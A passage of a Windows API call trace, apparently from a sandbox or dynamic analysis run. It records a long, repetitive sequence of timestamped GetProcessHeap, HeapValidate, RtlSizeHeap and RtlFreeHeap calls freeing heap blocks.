(hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454820) returned 1 [0105.610] GetProcessHeap () returned 0x2008f450000 [0105.610] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454820) returned 0x18 [0105.610] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454820) returned 1 [0105.610] GetProcessHeap () returned 0x2008f450000 [0105.611] GetProcessHeap () returned 0x2008f450000 [0105.611] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45ba80) returned 1 [0105.611] GetProcessHeap () returned 0x2008f450000 [0105.611] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45ba80) returned 0x20 [0105.611] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45ba80) returned 1 [0105.611] GetProcessHeap () returned 0x2008f450000 [0105.611] GetProcessHeap () returned 0x2008f450000 [0105.611] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454270) returned 1 [0105.611] GetProcessHeap () returned 0x2008f450000 [0105.611] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454270) returned 0x76 [0105.612] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454270) returned 1 [0105.612] GetProcessHeap () returned 0x2008f450000 [0105.612] GetProcessHeap () returned 0x2008f450000 [0105.612] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45ac90) returned 1 [0105.612] GetProcessHeap () returned 0x2008f450000 [0105.612] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45ac90) returned 0x18 [0105.612] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45ac90) returned 1 [0105.612] GetProcessHeap () returned 0x2008f450000 [0105.612] GetProcessHeap () returned 0x2008f450000 [0105.612] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b870) returned 1 [0105.612] GetProcessHeap () returned 0x2008f450000 [0105.612] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b870) returned 0x20 [0105.612] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b870) returned 1 [0105.613] GetProcessHeap () returned 0x2008f450000 [0105.613] GetProcessHeap () returned 0x2008f450000 [0105.613] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f453b50) returned 1 [0105.613] GetProcessHeap () returned 0x2008f450000 [0105.613] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f453b50) returned 0x78 [0105.613] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f453b50) returned 1 [0105.613] GetProcessHeap () returned 0x2008f450000 [0105.613] GetProcessHeap () returned 0x2008f450000 [0105.613] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45a990) returned 1 [0105.613] GetProcessHeap () returned 0x2008f450000 [0105.613] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45a990) returned 0x18 [0105.613] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45a990) returned 1 [0105.613] GetProcessHeap () returned 0x2008f450000 [0105.613] GetProcessHeap () returned 0x2008f450000 [0105.613] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f458f00) returned 1 [0105.613] GetProcessHeap () returned 0x2008f450000 [0105.613] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f458f00) returned 0x20 [0105.614] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f458f00) returned 1 [0105.614] GetProcessHeap () returned 0x2008f450000 [0105.614] GetProcessHeap () returned 0x2008f450000 [0105.614] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45aa70) returned 1 [0105.614] GetProcessHeap () returned 0x2008f450000 [0105.614] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45aa70) returned 0xe [0105.614] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45aa70) returned 1 [0105.614] GetProcessHeap () returned 0x2008f450000 [0105.614] GetProcessHeap () returned 0x2008f450000 [0105.614] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454310) returned 1 [0105.614] GetProcessHeap () returned 0x2008f450000 [0105.614] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454310) returned 0x18 [0105.614] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454310) returned 1 [0105.614] GetProcessHeap () returned 0x2008f450000 [0105.614] GetProcessHeap () returned 0x2008f450000 [0105.614] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f459230) returned 1 [0105.615] GetProcessHeap () returned 0x2008f450000 [0105.615] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f459230) returned 0x20 [0105.615] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f459230) returned 1 [0105.615] GetProcessHeap () returned 0x2008f450000 [0105.615] GetProcessHeap () returned 0x2008f450000 [0105.615] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f459b70) returned 1 [0105.615] GetProcessHeap () returned 0x2008f450000 [0105.615] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f459b70) returned 0x208 [0105.616] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f459b70) returned 1 [0105.616] GetProcessHeap () returned 0x2008f450000 [0105.616] GetProcessHeap () returned 0x2008f450000 [0105.616] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454790) returned 1 [0105.616] GetProcessHeap () returned 0x2008f450000 [0105.616] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454790) returned 0x18 [0105.616] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454790) returned 1 [0105.616] GetProcessHeap () returned 0x2008f450000 [0105.616] GetProcessHeap () returned 0x2008f450000 [0105.616] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f459110) returned 1 [0105.616] GetProcessHeap () returned 0x2008f450000 [0105.616] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f459110) returned 0x20 [0105.616] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f459110) returned 1 [0105.617] GetProcessHeap () returned 0x2008f450000 [0105.617] GetProcessHeap () returned 0x2008f450000 [0105.617] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45bbb0) returned 1 [0105.617] GetProcessHeap () returned 0x2008f450000 [0105.617] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45bbb0) returned 0x200 [0105.617] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45bbb0) returned 1 [0105.617] GetProcessHeap () returned 0x2008f450000 [0105.617] GetProcessHeap () returned 0x2008f450000 [0105.617] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454840) returned 1 [0105.617] GetProcessHeap () returned 0x2008f450000 [0105.617] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454840) returned 0x18 [0105.617] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454840) returned 1 [0105.617] GetProcessHeap () returned 0x2008f450000 [0105.617] GetProcessHeap () returned 0x2008f450000 [0105.618] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f459080) returned 1 [0105.618] GetProcessHeap () returned 0x2008f450000 [0105.618] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f459080) returned 0x20 [0105.618] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f459080) returned 1 [0105.618] GetProcessHeap () returned 0x2008f450000 [0105.618] GetProcessHeap () returned 0x2008f450000 [0105.618] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f453900) returned 1 [0105.618] GetProcessHeap () returned 0x2008f450000 [0105.618] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f453900) returned 0x14 [0105.618] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f453900) returned 1 [0105.618] GetProcessHeap () returned 0x2008f450000 [0105.618] GetProcessHeap () returned 0x2008f450000 [0105.618] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f4538e0) returned 1 [0105.618] GetProcessHeap () returned 0x2008f450000 [0105.618] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f4538e0) returned 0x18 [0105.619] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f4538e0) returned 1 [0105.619] GetProcessHeap () returned 0x2008f450000 [0105.619] GetProcessHeap () returned 0x2008f450000 [0105.619] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f4590e0) returned 1 [0105.619] GetProcessHeap () returned 0x2008f450000 [0105.619] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f4590e0) returned 0x20 [0105.619] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f4590e0) returned 1 [0105.619] GetProcessHeap () returned 0x2008f450000 [0105.619] GetProcessHeap () returned 0x2008f450000 [0105.619] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f453920) returned 1 [0105.619] GetProcessHeap () returned 0x2008f450000 [0105.619] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f453920) returned 0x16 [0105.620] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f453920) returned 1 [0105.620] GetProcessHeap () returned 0x2008f450000 [0105.620] GetProcessHeap () returned 0x2008f450000 [0105.620] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f453f60) returned 1 [0105.620] GetProcessHeap () returned 0x2008f450000 [0105.620] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f453f60) returned 0x18 [0105.620] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f453f60) returned 1 [0105.620] GetProcessHeap () returned 0x2008f450000 [0105.620] GetProcessHeap () returned 0x2008f450000 [0105.620] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f459020) returned 1 [0105.620] GetProcessHeap () returned 0x2008f450000 [0105.620] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f459020) returned 0x20 [0105.620] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f459020) returned 1 [0105.621] GetProcessHeap () returned 0x2008f450000 [0105.621] GetProcessHeap () returned 0x2008f450000 [0105.621] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454a40) returned 1 [0105.621] GetProcessHeap () returned 0x2008f450000 [0105.621] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454a40) returned 0x2 [0105.621] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454a40) returned 1 [0105.621] GetProcessHeap () returned 0x2008f450000 [0105.621] GetProcessHeap () returned 0x2008f450000 [0105.621] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454a60) returned 1 [0105.621] GetProcessHeap () returned 0x2008f450000 [0105.621] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454a60) returned 0x20 [0105.621] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454a60) returned 1 [0105.621] GetProcessHeap () returned 0x2008f450000 [0105.621] GetProcessHeap () returned 0x2008f450000 [0105.621] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f4543f0) returned 1 [0105.622] GetProcessHeap () returned 0x2008f450000 [0105.622] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f4543f0) returned 0x20 [0105.622] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f4543f0) returned 1 [0105.622] GetProcessHeap () returned 0x2008f450000 [0105.622] GetProcessHeap () returned 0x2008f450000 [0105.622] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454420) returned 1 [0105.622] GetProcessHeap () returned 0x2008f450000 [0105.622] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454420) returned 0x20 [0105.623] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454420) returned 1 [0105.628] GetProcessHeap () returned 0x2008f450000 [0105.628] GetProcessHeap () returned 0x2008f450000 [0105.628] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454450) returned 1 [0105.628] GetProcessHeap () returned 0x2008f450000 [0105.628] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454450) returned 0x20 [0105.628] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454450) returned 1 [0105.628] GetProcessHeap () returned 0x2008f450000 [0105.628] GetProcessHeap () returned 0x2008f450000 [0105.628] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b6c0) returned 1 [0105.628] GetProcessHeap () returned 0x2008f450000 [0105.628] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b6c0) returned 0x20 [0105.629] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b6c0) returned 1 [0105.629] GetProcessHeap () returned 0x2008f450000 [0105.629] GetProcessHeap () returned 0x2008f450000 [0105.629] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45ac30) returned 1 [0105.629] GetProcessHeap () returned 0x2008f450000 [0105.629] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45ac30) returned 0xe [0105.629] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45ac30) returned 1 [0105.629] GetProcessHeap () returned 0x2008f450000 [0105.629] GetProcessHeap () returned 0x2008f450000 [0105.629] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b780) returned 1 [0105.629] GetProcessHeap () returned 0x2008f450000 [0105.629] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b780) returned 0x20 [0105.630] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b780) returned 1 [0105.630] GetProcessHeap () returned 0x2008f450000 [0105.630] GetProcessHeap () returned 0x2008f450000 [0105.630] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f453880) returned 1 [0105.630] GetProcessHeap () returned 0x2008f450000 [0105.630] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f453880) returned 0x30 [0105.630] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f453880) returned 1 [0105.630] GetProcessHeap () returned 0x2008f450000 [0105.630] GetProcessHeap () returned 0x2008f450000 [0105.630] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b990) returned 1 [0105.630] GetProcessHeap () returned 0x2008f450000 [0105.630] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b990) returned 0x20 [0105.631] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b990) returned 1 [0105.631] GetProcessHeap () returned 0x2008f450000 [0105.631] GetProcessHeap () returned 0x2008f450000 [0105.631] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454330) returned 1 [0105.631] GetProcessHeap () returned 0x2008f450000 [0105.631] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454330) returned 0x30 [0105.632] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454330) returned 1 [0105.632] GetProcessHeap () returned 0x2008f450000 [0105.632] GetProcessHeap () returned 0x2008f450000 [0105.632] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b3f0) returned 1 [0105.632] GetProcessHeap () returned 0x2008f450000 [0105.632] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b3f0) returned 0x20 [0105.632] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b3f0) returned 1 [0105.632] GetProcessHeap () returned 0x2008f450000 [0105.632] GetProcessHeap () returned 0x2008f450000 [0105.632] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45a930) returned 1 [0105.632] GetProcessHeap () returned 0x2008f450000 [0105.632] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45a930) returned 0xe [0105.632] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45a930) returned 1 [0105.632] GetProcessHeap () returned 0x2008f450000 [0105.632] GetProcessHeap () returned 0x2008f450000 [0105.632] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b900) returned 1 [0105.632] GetProcessHeap () returned 0x2008f450000 [0105.632] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b900) returned 0x20 [0105.633] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b900) returned 1 [0105.633] GetProcessHeap () returned 0x2008f450000 [0105.633] GetProcessHeap () returned 0x2008f450000 [0105.633] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45ab10) returned 1 [0105.633] GetProcessHeap () returned 0x2008f450000 [0105.633] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45ab10) returned 0x16 [0105.633] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45ab10) returned 1 [0105.633] GetProcessHeap () returned 0x2008f450000 [0105.633] GetProcessHeap () returned 0x2008f450000 [0105.633] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b540) returned 1 [0105.633] GetProcessHeap () returned 0x2008f450000 [0105.633] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b540) returned 0x20 [0105.634] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b540) returned 1 [0105.634] GetProcessHeap () returned 0x2008f450000 [0105.634] GetProcessHeap () returned 0x2008f450000 [0105.634] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45abd0) returned 1 [0105.634] GetProcessHeap () returned 0x2008f450000 [0105.634] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45abd0) returned 0x16 [0105.634] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45abd0) returned 1 [0105.634] GetProcessHeap () returned 0x2008f450000 [0105.634] GetProcessHeap () returned 0x2008f450000 [0105.634] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b570) returned 1 [0105.634] GetProcessHeap () returned 0x2008f450000 [0105.634] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b570) returned 0x20 [0105.635] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b570) returned 1 [0105.635] GetProcessHeap () returned 0x2008f450000 [0105.635] GetProcessHeap () returned 0x2008f450000 [0105.635] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f475a70) returned 1 [0105.635] GetProcessHeap () returned 0x2008f450000 [0105.635] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f475a70) returned 0x82 [0105.635] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f475a70) returned 1 [0105.635] GetProcessHeap () returned 0x2008f450000 [0105.635] GetProcessHeap () returned 0x2008f450000 [0105.635] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b810) returned 1 [0105.635] GetProcessHeap () returned 0x2008f450000 [0105.635] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b810) returned 0x20 [0105.636] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b810) returned 1 [0105.636] GetProcessHeap () returned 0x2008f450000 [0105.636] GetProcessHeap () returned 0x2008f450000 [0105.636] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45a9b0) returned 1 [0105.636] GetProcessHeap () returned 0x2008f450000 [0105.636] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45a9b0) returned 0xe [0105.636] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45a9b0) returned 1 [0105.636] GetProcessHeap () returned 0x2008f450000 [0105.636] GetProcessHeap () returned 0x2008f450000 [0105.636] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b9c0) returned 1 [0105.636] GetProcessHeap () returned 0x2008f450000 [0105.636] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b9c0) returned 0x20 [0105.637] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b9c0) returned 1 [0105.637] GetProcessHeap () returned 0x2008f450000 [0105.637] GetProcessHeap () returned 0x2008f450000 [0105.637] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45a950) returned 1 [0105.637] GetProcessHeap () returned 0x2008f450000 [0105.637] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45a950) returned 0xa [0105.637] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45a950) returned 1 [0105.637] GetProcessHeap () returned 0x2008f450000 [0105.637] GetProcessHeap () returned 0x2008f450000 [0105.637] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b6f0) returned 1 [0105.637] GetProcessHeap () returned 0x2008f450000 [0105.637] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b6f0) returned 0x20 [0105.637] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b6f0) returned 1 [0105.638] GetProcessHeap () returned 0x2008f450000 [0105.638] GetProcessHeap () returned 0x2008f450000 [0105.638] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45ab50) returned 1 [0105.638] GetProcessHeap () returned 0x2008f450000 [0105.638] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45ab50) returned 0xc [0105.638] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45ab50) returned 1 [0105.638] GetProcessHeap () returned 0x2008f450000 [0105.638] GetProcessHeap () returned 0x2008f450000 [0105.638] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f45b8d0) returned 1 [0105.638] GetProcessHeap () returned 0x2008f450000 [0105.638] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f45b8d0) returned 0x20 [0105.638] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f45b8d0) returned 1 [0105.641] GetProcessHeap () returned 0x2008f450000 [0105.641] GetProcessHeap () returned 0x2008f450000 [0105.641] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454a90) returned 1 [0105.641] GetProcessHeap () returned 0x2008f450000 [0105.641] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454a90) returned 0x18 [0105.641] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454a90) returned 1 [0105.641] GetProcessHeap () returned 0x2008f450000 [0105.641] GetProcessHeap () returned 0x2008f450000 [0105.641] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f459140) returned 1 [0105.641] GetProcessHeap () returned 0x2008f450000 [0105.641] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f459140) returned 0x20 [0105.641] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f459140) returned 1 [0105.642] GetProcessHeap () returned 0x2008f450000 [0105.642] GetProcessHeap () returned 0x2008f450000 [0105.642] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f458fc0) returned 1 [0105.642] GetProcessHeap () returned 0x2008f450000 [0105.642] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f458fc0) returned 0x20 [0105.642] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f458fc0) returned 1 [0105.642] GetProcessHeap () returned 0x2008f450000 [0105.642] GetProcessHeap () returned 0x2008f450000 [0105.642] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f4590b0) returned 1 [0105.642] GetProcessHeap () returned 0x2008f450000 [0105.642] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f4590b0) returned 0x20 [0105.643] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f4590b0) returned 1 [0105.643] GetProcessHeap () returned 0x2008f450000 [0105.643] GetProcessHeap () returned 0x2008f450000 [0105.643] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f4591d0) returned 1 [0105.643] GetProcessHeap () returned 0x2008f450000 [0105.643] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f4591d0) returned 0x20 [0105.643] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f4591d0) returned 1 [0105.643] GetProcessHeap () returned 0x2008f450000 [0105.643] GetProcessHeap () returned 0x2008f450000 [0105.643] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f454480) returned 1 [0105.644] GetProcessHeap () returned 0x2008f450000 [0105.644] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f454480) returned 0x18 [0105.644] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f454480) returned 1 [0105.644] GetProcessHeap () returned 0x2008f450000 [0105.644] GetProcessHeap () returned 0x2008f450000 [0105.644] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f458f60) returned 1 [0105.644] GetProcessHeap () returned 0x2008f450000 [0105.644] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f458f60) returned 0x20 [0105.644] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f458f60) returned 1 [0105.644] GetProcessHeap () returned 0x2008f450000 [0105.644] GetProcessHeap () returned 0x2008f450000 [0105.644] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f458f30) returned 1 [0105.644] GetProcessHeap () returned 0x2008f450000 [0105.644] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f458f30) returned 0x20 [0105.645] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f458f30) returned 1 [0105.645] GetProcessHeap () returned 0x2008f450000 [0105.645] GetProcessHeap () returned 0x2008f450000 [0105.645] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f458ff0) returned 1 [0105.645] GetProcessHeap () returned 0x2008f450000 [0105.645] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f458ff0) returned 0x20 [0105.645] RtlFreeHeap (HeapHandle=0x2008f450000, Flags=0x0, BaseAddress=0x2008f458ff0) returned 1 [0105.646] GetProcessHeap () returned 0x2008f450000 [0105.646] GetProcessHeap () returned 0x2008f450000 [0105.646] HeapValidate (hHeap=0x2008f450000, dwFlags=0x0, lpMem=0x2008f459170) returned 1 [0105.646] GetProcessHeap () returned 0x2008f450000 [0105.646] RtlSizeHeap (HeapHandle=0x2008f450000, Flags=0x0, MemoryPointer=0x2008f459170) 